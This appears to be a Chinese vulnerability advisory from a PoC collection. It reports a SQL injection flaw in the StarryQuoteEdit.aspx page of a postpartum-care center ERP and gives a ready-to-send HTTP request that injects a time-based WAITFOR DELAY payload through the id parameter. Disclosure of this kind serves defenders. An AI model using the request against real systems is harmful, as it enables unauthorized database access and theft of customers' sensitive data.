月子会所ERPStarryQuoteEdit.aspx存在sql注入

日期: 2024-04-07 | 影响软件: 月子会所ERP | POC: 已公开

漏洞描述

武汉金同方科技有限公司是一家为母婴服务行业提供信息化解决方案的公司。武汉金同方科技有限公司月子护理ERP管理平台StarryQuoteEdit.aspx存在SQL注入漏洞，攻击者可利用该漏洞获取数据库敏感信息。

PoC代码

GET /Page/SalerManager/StarryQuoteEdit.aspx?id=1;WAITFOR%20DELAY%20%270:0:0%27--+ HTTP/1.1
Host: 
Accept-Encoding: gzip
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/[REDACTED] Safari/537.36

相关漏洞推荐